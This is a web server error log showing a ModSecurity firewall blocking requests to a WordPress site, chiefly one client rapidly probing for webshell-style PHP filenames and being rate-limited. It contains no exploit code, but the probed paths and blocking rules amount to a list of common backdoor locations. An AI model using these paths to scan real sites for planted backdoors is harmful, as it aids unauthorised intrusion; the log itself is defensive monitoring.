[Fri Apr 17 22:08:51.682979 2026] [:error] [pid 9153:tid 9226] [client 1.15.52.154:44002] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeI-8-MHGxkTZX3c45cYnwAAAIg"]
[Sat Apr 18 03:00:59.025646 2026] [:error] [pid 59042:tid 59056] [client 43.166.129.247:39040] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeKDa56p5oql0UklEBJxWgAAAAk"]
[Sat Apr 18 04:14:21.221450 2026] [:error] [pid 9970:tid 9992] [client 114.96.103.33:47779] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeKUnSYdRLRhVmaIMx1_YwAAANI"]
[Sat Apr 18 05:01:53.442114 2026] [:error] [pid 9970:tid 9989] [client 172.213.226.43:7167] [client 172.213.226.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeKfwSYdRLRhVmaIMx2g_wAAAM8"]
[Sat Apr 18 05:01:57.897762 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:7161] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "aeKfxSYdRLRhVmaIMx2hDQAAANE"]
[Sat Apr 18 05:01:58.542724 2026] [:error] [pid 9865:tid 9938] [client 172.213.226.43:7048] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "aeKfxqzb5knECIY-C-iMWwAAAIE"]
[Sat Apr 18 05:02:00.445473 2026] [:error] [pid 9970:tid 9998] [client 172.213.226.43:7157] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "aeKfyCYdRLRhVmaIMx2hFgAAANg"]
[Sat Apr 18 05:02:02.261167 2026] [:error] [pid 9970:tid 9992] [client 172.213.226.43:7148] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "aeKfyiYdRLRhVmaIMx2hHgAAANI"]
[Sat Apr 18 05:02:04.260033 2026] [:error] [pid 9865:tid 9945] [client 172.213.226.43:7152] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "aeKfzKzb5knECIY-C-iMaAAAAIg"]
[Sat Apr 18 05:02:05.507324 2026] [:error] [pid 9970:tid 9993] [client 172.213.226.43:6980] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "aeKfzSYdRLRhVmaIMx2hLwAAANM"]
[Sat Apr 18 05:02:06.326335 2026] [:error] [pid 9970:tid 9979] [client 172.213.226.43:7047] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "aeKfziYdRLRhVmaIMx2hMwAAAMU"]
[Sat Apr 18 05:02:07.332502 2026] [:error] [pid 9863:tid 9892] [client 172.213.226.43:7128] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "aeKfzzjjiypiFrTucbL8FgAAABM"]
[Sat Apr 18 05:02:08.270437 2026] [:error] [pid 9863:tid 9891] [client 172.213.226.43:7163] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/state.php"] [unique_id "aeKf0DjjiypiFrTucbL8GAAAABI"]
[Sat Apr 18 05:02:11.208781 2026] [:error] [pid 9864:tid 9921] [client 172.213.226.43:7160] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/state.php"] [unique_id "aeKf04CFeowknfXHM7khJwAAAE8"]
[Sat Apr 18 05:02:12.185498 2026] [:error] [pid 9864:tid 9922] [client 172.213.226.43:7117] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/state.php"] [unique_id "aeKf1ICFeowknfXHM7khLgAAAFA"]
[Sat Apr 18 05:02:13.250708 2026] [:error] [pid 9863:tid 9893] [client 172.213.226.43:7043] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/state.php"] [unique_id "aeKf1TjjiypiFrTucbL8HQAAABQ"]
[Sat Apr 18 05:02:14.215656 2026] [:error] [pid 9863:tid 9889] [client 172.213.226.43:7106] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeKf1jjjiypiFrTucbL8IAAAABA"]
[Sat Apr 18 05:02:15.819512 2026] [:error] [pid 9863:tid 9892] [client 172.213.226.43:7136] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeKf1zjjiypiFrTucbL8IwAAABM"]
[Sat Apr 18 05:02:16.872835 2026] [:error] [pid 9863:tid 9886] [client 172.213.226.43:7162] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeKf2DjjiypiFrTucbL8JgAAAA0"]
[Sat Apr 18 05:02:18.730621 2026] [:error] [pid 9970:tid 9985] [client 172.213.226.43:7123] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeKf2iYdRLRhVmaIMx2hUAAAAMs"]
[Sat Apr 18 05:02:21.968350 2026] [:error] [pid 9970:tid 9998] [client 172.213.226.43:7134] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "aeKf3SYdRLRhVmaIMx2hXwAAANg"]
[Sat Apr 18 05:02:23.314506 2026] [:error] [pid 9863:tid 9896] [client 172.213.226.43:7052] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "aeKf3zjjiypiFrTucbL8KwAAABc"]
[Sat Apr 18 05:02:24.288524 2026] [:error] [pid 9970:tid 9985] [client 172.213.226.43:7125] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "aeKf4CYdRLRhVmaIMx2hbQAAAMs"]
[Sat Apr 18 05:02:25.465967 2026] [:error] [pid 9865:tid 9952] [client 172.213.226.43:7083] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "aeKf4azb5knECIY-C-iMjgAAAI8"]
[Sat Apr 18 05:02:26.131569 2026] [:error] [pid 9865:tid 9948] [client 172.213.226.43:7051] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeKf4qzb5knECIY-C-iMkgAAAIs"]
[Sat Apr 18 05:02:27.533997 2026] [:error] [pid 9863:tid 9879] [client 172.213.226.43:7003] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeKf4zjjiypiFrTucbL8MgAAAAY"]
[Sat Apr 18 05:02:29.071620 2026] [:error] [pid 9865:tid 9952] [client 172.213.226.43:7153] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeKf5azb5knECIY-C-iMngAAAI8"]
[Sat Apr 18 05:02:30.560793 2026] [:error] [pid 9865:tid 9941] [client 172.213.226.43:7115] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeKf5qzb5knECIY-C-iMogAAAIQ"]
[Sat Apr 18 05:02:31.897595 2026] [:error] [pid 9865:tid 9957] [client 172.213.226.43:7108] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "aeKf56zb5knECIY-C-iMpgAAAJQ"]
[Sat Apr 18 05:02:32.581804 2026] [:error] [pid 9970:tid 9983] [client 172.213.226.43:7131] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "aeKf6CYdRLRhVmaIMx2hfwAAAMk"]
[Sat Apr 18 05:02:33.491582 2026] [:error] [pid 9865:tid 9942] [client 172.213.226.43:7132] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "aeKf6azb5knECIY-C-iMrQAAAIU"]
[Sat Apr 18 05:02:34.675308 2026] [:error] [pid 9865:tid 9944] [client 172.213.226.43:7116] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "aeKf6qzb5knECIY-C-iMswAAAIc"]
[Sat Apr 18 05:02:35.311938 2026] [:error] [pid 9970:tid 9981] [client 172.213.226.43:7044] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "aeKf6yYdRLRhVmaIMx2hhAAAAMc"]
[Sat Apr 18 05:02:36.087901 2026] [:error] [pid 9970:tid 9998] [client 172.213.226.43:7086] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "aeKf7CYdRLRhVmaIMx2hiAAAANg"]
[Sat Apr 18 05:02:36.683590 2026] [:error] [pid 9970:tid 9982] [client 172.213.226.43:7056] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "aeKf7CYdRLRhVmaIMx2higAAAMg"]
[Sat Apr 18 05:02:37.743324 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:7046] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "aeKf7SYdRLRhVmaIMx2hlAAAANE"]
[Sat Apr 18 05:02:39.182527 2026] [:error] [pid 9863:tid 9889] [client 172.213.226.43:7111] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "aeKf7zjjiypiFrTucbL8PQAAABA"]
[Sat Apr 18 05:02:40.150915 2026] [:error] [pid 9970:tid 9986] [client 172.213.226.43:7158] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "aeKf8CYdRLRhVmaIMx2hpQAAAMw"]
[Sat Apr 18 05:02:40.901750 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7065] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "aeKf8CYdRLRhVmaIMx2hrgAAAMA"]
[Sat Apr 18 05:02:41.852299 2026] [:error] [pid 9863:tid 9895] [client 172.213.226.43:7074] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "aeKf8TjjiypiFrTucbL8QAAAABY"]
[Sat Apr 18 05:02:43.081105 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7061] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeKf8yYdRLRhVmaIMx2h3wAAAMA"]
[Sat Apr 18 05:02:43.873073 2026] [:error] [pid 9970:tid 9980] [client 172.213.226.43:7119] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeKf8yYdRLRhVmaIMx2h-AAAAMY"]
[Sat Apr 18 05:02:44.838156 2026] [:error] [pid 9970:tid 9984] [client 172.213.226.43:7146] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeKf9CYdRLRhVmaIMx2h_gAAAMo"]
[Sat Apr 18 05:02:45.537577 2026] [:error] [pid 9970:tid 9996] [client 172.213.226.43:7054] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeKf9SYdRLRhVmaIMx2iAwAAANY"]
[Sat Apr 18 05:02:46.721574 2026] [:error] [pid 9864:tid 9919] [client 172.213.226.43:7137] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKf9oCFeowknfXHM7khVgAAAE0"]
[Sat Apr 18 05:02:47.588768 2026] [:error] [pid 9864:tid 9907] [client 172.213.226.43:7104] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKf94CFeowknfXHM7khWQAAAEI"]
[Sat Apr 18 05:02:48.263884 2026] [:error] [pid 9864:tid 9920] [client 172.213.226.43:7164] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKf-ICFeowknfXHM7khXAAAAE4"]
[Sat Apr 18 05:02:49.353425 2026] [:error] [pid 9970:tid 9976] [client 172.213.226.43:7045] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKf-SYdRLRhVmaIMx2iEQAAAMI"]
[Sat Apr 18 05:02:50.233812 2026] [:error] [pid 9864:tid 9926] [client 172.213.226.43:7135] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeKf-oCFeowknfXHM7khYQAAAFQ"]
[Sat Apr 18 05:02:51.246496 2026] [:error] [pid 9865:tid 9944] [client 172.213.226.43:7159] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeKf-6zb5knECIY-C-iM3wAAAIc"]
[Sat Apr 18 05:02:52.604602 2026] [:error] [pid 9863:tid 9892] [client 172.213.226.43:7124] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeKf_DjjiypiFrTucbL8SAAAABM"]
[Sat Apr 18 05:02:53.820201 2026] [:error] [pid 9970:tid 9981] [client 172.213.226.43:7064] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeKf_SYdRLRhVmaIMx2iGgAAAMc"]
[Sat Apr 18 05:02:54.503999 2026] [:error] [pid 9970:tid 9979] [client 172.213.226.43:7145] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aeKf_iYdRLRhVmaIMx2iHQAAAMU"]
[Sat Apr 18 05:02:55.445395 2026] [:error] [pid 9864:tid 9929] [client 172.213.226.43:7075] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aeKf_4CFeowknfXHM7khaQAAAFc"]
